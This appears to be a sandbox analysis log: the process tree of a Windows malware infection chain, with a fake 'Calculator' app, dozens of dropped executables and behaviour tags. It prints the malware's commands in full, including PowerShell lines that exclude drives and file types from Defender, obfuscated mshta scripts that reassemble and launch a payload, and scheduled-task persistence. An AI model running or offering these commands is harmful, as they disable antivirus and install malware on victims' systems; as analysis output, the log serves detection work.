C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2624 /prefetch:110⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2652 /prefetch:110⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --mojo-platform-channel-handle=1732 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1684 /prefetch:210⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --mojo-platform-channel-handle=3280 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=1680 /prefetch:210⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --mojo-platform-channel-handle=3672 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --mojo-platform-channel-handle=3576 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --mojo-platform-channel-handle=2056 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --mojo-platform-channel-handle=3656 /prefetch:810⤵
-
C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"7⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"8⤵
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"10⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat14febbc433.exe /mixone4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat14febbc433.exeSat14febbc433.exe /mixone5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 6606⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 6766⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 6966⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 7726⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 8846⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 11046⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 9526⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat142ac5249376e895.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat142ac5249376e895.exeSat142ac5249376e895.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat1487ca754e680f91.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1487ca754e680f91.exeSat1487ca754e680f91.exe5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\Pictures\Adobe Films\AEHch7pRmkVxa8ICGBxXi35c.exe"C:\Users\Admin\Pictures\Adobe Films\AEHch7pRmkVxa8ICGBxXi35c.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\lHMacbbg17FH7DP92MWtaPGg.exe"C:\Users\Admin\Pictures\Adobe Films\lHMacbbg17FH7DP92MWtaPGg.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\jM_2VJjb2ZqBNQWW5MzkJhrB.exe"C:\Users\Admin\Pictures\Adobe Films\jM_2VJjb2ZqBNQWW5MzkJhrB.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\jM_2VJjb2ZqBNQWW5MzkJhrB.exe"C:\Users\Admin\Pictures\Adobe Films\jM_2VJjb2ZqBNQWW5MzkJhrB.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\v6_Yr1SBbdYbzd3VhkrLVJG0.exe"C:\Users\Admin\Pictures\Adobe Films\v6_Yr1SBbdYbzd3VhkrLVJG0.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\build.exe"C:\Users\Admin\AppData\Local\Temp\build.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\yaMWSZgxYXSGkiaYyQ8_5VWo.exe"C:\Users\Admin\Pictures\Adobe Films\yaMWSZgxYXSGkiaYyQ8_5VWo.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\vUr4yH8ealVSlIm2BWqFHsSc.exe"C:\Users\Admin\Pictures\Adobe Films\vUr4yH8ealVSlIm2BWqFHsSc.exe"6⤵
-
C:\Users\Admin\Documents\D09ZoaPqyzavJpqHSv170FHg.exe"C:\Users\Admin\Documents\D09ZoaPqyzavJpqHSv170FHg.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\BQhS3drV_yme3zosQB3IewQC.exe"C:\Users\Admin\Pictures\Adobe Films\BQhS3drV_yme3zosQB3IewQC.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\OJFAH4TWkMSnCwENX9Roettk.exe"C:\Users\Admin\Pictures\Adobe Films\OJFAH4TWkMSnCwENX9Roettk.exe" /mixtwo8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 6489⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 6689⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 6249⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 6809⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 8769⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 9209⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 10849⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\QElZDhGokzyVbyYeIzwLyzil.exe"C:\Users\Admin\Pictures\Adobe Films\QElZDhGokzyVbyYeIzwLyzil.exe"8⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\rTuohZKqUHQrHPUMH7fQTpQp.exe"C:\Users\Admin\Pictures\Adobe Films\rTuohZKqUHQrHPUMH7fQTpQp.exe"8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\rTuohZKqUHQrHPUMH7fQTpQp.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\rTuohZKqUHQrHPUMH7fQTpQp.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\rTuohZKqUHQrHPUMH7fQTpQp.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\rTuohZKqUHQrHPUMH7fQTpQp.exe" ) do taskkill -f -iM "%~NxM"10⤵
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi11⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"13⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC13⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "14⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"14⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC14⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "rTuohZKqUHQrHPUMH7fQTpQp.exe"11⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\sZCcCk1O_nvgMb2AMD_nK6gZ.exe"C:\Users\Admin\Pictures\Adobe Films\sZCcCk1O_nvgMb2AMD_nK6gZ.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\zDupnkzqKYpADTb_FBvLEno7.exe"C:\Users\Admin\Pictures\Adobe Films\zDupnkzqKYpADTb_FBvLEno7.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\Q1gvRtjaz5BRMpcdqV07nt5_.exe"C:\Users\Admin\Pictures\Adobe Films\Q1gvRtjaz5BRMpcdqV07nt5_.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\4959416.exe"C:\Users\Admin\AppData\Roaming\4959416.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\401672.exe"C:\Users\Admin\AppData\Roaming\401672.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\401672.exe"C:\Users\Admin\AppData\Roaming\401672.exe"10⤵
-
C:\Users\Admin\AppData\Roaming\7764353.exe"C:\Users\Admin\AppData\Roaming\7764353.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\6323091.exe"C:\Users\Admin\AppData\Roaming\6323091.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\6323091.exe"C:\Users\Admin\AppData\Roaming\6323091.exe"10⤵
-
C:\Users\Admin\AppData\Roaming\3254510.exe"C:\Users\Admin\AppData\Roaming\3254510.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\bDMek7kpqukTMgB7MxSTg4M9.exe"C:\Users\Admin\Pictures\Adobe Films\bDMek7kpqukTMgB7MxSTg4M9.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-QOK3O.tmp\bDMek7kpqukTMgB7MxSTg4M9.tmp"C:\Users\Admin\AppData\Local\Temp\is-QOK3O.tmp\bDMek7kpqukTMgB7MxSTg4M9.tmp" /SL5="$400A4,506127,422400,C:\Users\Admin\Pictures\Adobe Films\bDMek7kpqukTMgB7MxSTg4M9.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-FDEH6.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-FDEH6.tmp\DYbALA.exe" /S /UID=270910⤵
-
C:\Users\Admin\AppData\Local\Temp\22-18e19-e7a-56fb4-8f0f3b505ba1a\Putijuhyre.exe"C:\Users\Admin\AppData\Local\Temp\22-18e19-e7a-56fb4-8f0f3b505ba1a\Putijuhyre.exe"11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cczqynlp.o2s\setting.exe SID=778 CID=778 SILENT=1 /quiet & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\cczqynlp.o2s\setting.exeC:\Users\Admin\AppData\Local\Temp\cczqynlp.o2s\setting.exe SID=778 CID=778 SILENT=1 /quiet13⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Settings\Settings 1.0.0\install\FD7DF1F\Settings Installation.msi" SID=778 CID=778 SILENT=1 /quiet AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\cczqynlp.o2s\setting.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\cczqynlp.o2s\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1634846891 SID=778 CID=778 SILENT=1 /quiet " SID="778" CID="778"14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\swro01fr.sdb\GcleanerEU.exe /eufive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\swro01fr.sdb\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\swro01fr.sdb\GcleanerEU.exe /eufive13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vnm5upsv.ukn\installer.exe /qn CAMPAIGN="654" & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\vnm5upsv.ukn\installer.exeC:\Users\Admin\AppData\Local\Temp\vnm5upsv.ukn\installer.exe /qn CAMPAIGN="654"13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yg3p2l5s.lnn\any.exe & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\yg3p2l5s.lnn\any.exeC:\Users\Admin\AppData\Local\Temp\yg3p2l5s.lnn\any.exe13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jckvswhy.5ko\gcleaner.exe /mixfive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\jckvswhy.5ko\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\jckvswhy.5ko\gcleaner.exe /mixfive13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lzyyz1ju.ug4\FastPC.exe /verysilent & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\lzyyz1ju.ug4\FastPC.exeC:\Users\Admin\AppData\Local\Temp\lzyyz1ju.ug4\FastPC.exe /verysilent13⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5168 -s 166814⤵
- Program crash
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\w0rkmmup.bw2\autosubplayer.exe /S & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\w0rkmmup.bw2\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\w0rkmmup.bw2\autosubplayer.exe /S13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmBCFC.tmp\tempfile.ps1"14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dk1hr0jc.t1s\FastPC.exe /verysilent & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\dk1hr0jc.t1s\FastPC.exeC:\Users\Admin\AppData\Local\Temp\dk1hr0jc.t1s\FastPC.exe /verysilent13⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6T5EU.tmp\FastPC.tmp"C:\Users\Admin\AppData\Local\Temp\is-6T5EU.tmp\FastPC.tmp" /SL5="$403AE,138429,56832,C:\Users\Admin\AppData\Local\Temp\dk1hr0jc.t1s\FastPC.exe" /verysilent14⤵
-
C:\Users\Admin\AppData\Local\Temp\is-O40RK.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-O40RK.tmp\Setup.exe" /Verysilent15⤵
-
C:\Program Files (x86)\FastPc\FastPc\Fast.exe"C:\Program Files (x86)\FastPc\FastPc\Fast.exe"16⤵
-
C:\Program Files (x86)\FastPc\FastPc\Fast_.exe"C:\Program Files (x86)\FastPc\FastPc\Fast_.exe"16⤵
-
C:\Program Files (x86)\FastPc\FastPc\Faster.exe"C:\Program Files (x86)\FastPc\FastPc\Faster.exe"16⤵
-
C:\Program Files (x86)\FastPc\FastPc\13.exe"C:\Program Files (x86)\FastPc\FastPc\13.exe"16⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe"17⤵
-
C:\Users\Admin\Pictures\Adobe Films\METe6hXXVzINDO9NXEDj1qD_.exe"C:\Users\Admin\Pictures\Adobe Films\METe6hXXVzINDO9NXEDj1qD_.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\nXCeypKYBB_gKEkxxtVK8cC1.exe"C:\Users\Admin\Pictures\Adobe Films\nXCeypKYBB_gKEkxxtVK8cC1.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"10⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x260,0x25c,0x258,0x284,0x254,0x7ff8da9adec0,0x7ff8da9aded0,0x7ff8da9adee011⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1348,18342729145424247185,17633330919962461285,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8468_552720495" --mojo-platform-channel-handle=1572 /prefetch:811⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\T1gkX5D_UbVjuvNW4oukKgMO.exe"C:\Users\Admin\Pictures\Adobe Films\T1gkX5D_UbVjuvNW4oukKgMO.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\x3c69d8vIJrlxztEA_7UTqqb.exe"C:\Users\Admin\Pictures\Adobe Films\x3c69d8vIJrlxztEA_7UTqqb.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\87Vp0gxHPxuum1RPx6nqBhZ0.exe"C:\Users\Admin\Pictures\Adobe Films\87Vp0gxHPxuum1RPx6nqBhZ0.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\87Vp0gxHPxuum1RPx6nqBhZ0.exe"C:\Users\Admin\Pictures\Adobe Films\87Vp0gxHPxuum1RPx6nqBhZ0.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\90C00JwfxxUyeucTiva1WJI3.exe"C:\Users\Admin\Pictures\Adobe Films\90C00JwfxxUyeucTiva1WJI3.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\90C00JwfxxUyeucTiva1WJI3.exe"C:\Users\Admin\Pictures\Adobe Films\90C00JwfxxUyeucTiva1WJI3.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\oVslUCgDEmYeAyOMJ3vhcs_8.exe"C:\Users\Admin\Pictures\Adobe Films\oVslUCgDEmYeAyOMJ3vhcs_8.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\oVslUCgDEmYeAyOMJ3vhcs_8.exe"C:\Users\Admin\Pictures\Adobe Films\oVslUCgDEmYeAyOMJ3vhcs_8.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\fAZGvuuTdiXwWFzy8zBIyDLR.exe"C:\Users\Admin\Pictures\Adobe Films\fAZGvuuTdiXwWFzy8zBIyDLR.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\P6fM8ZjQvXh00jboTr2sV0TY.exe"C:\Users\Admin\Pictures\Adobe Films\P6fM8ZjQvXh00jboTr2sV0TY.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\a7DhJtuuhupbRp1SKhtJuWC1.exe"C:\Users\Admin\Pictures\Adobe Films\a7DhJtuuhupbRp1SKhtJuWC1.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\MJwxzIkmKwc20jIMlF3m1vpr.exe"C:\Users\Admin\Pictures\Adobe Films\MJwxzIkmKwc20jIMlF3m1vpr.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\UrCRSMvxkZrT5td26d3qPZbT.exe"C:\Users\Admin\Pictures\Adobe Films\UrCRSMvxkZrT5td26d3qPZbT.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6104 -s 6727⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6104 -s 6767⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6104 -s 6727⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\awwV1wLWM1_emNzdvNWRNf_g.exe"C:\Users\Admin\Pictures\Adobe Films\awwV1wLWM1_emNzdvNWRNf_g.exe"6⤵
-
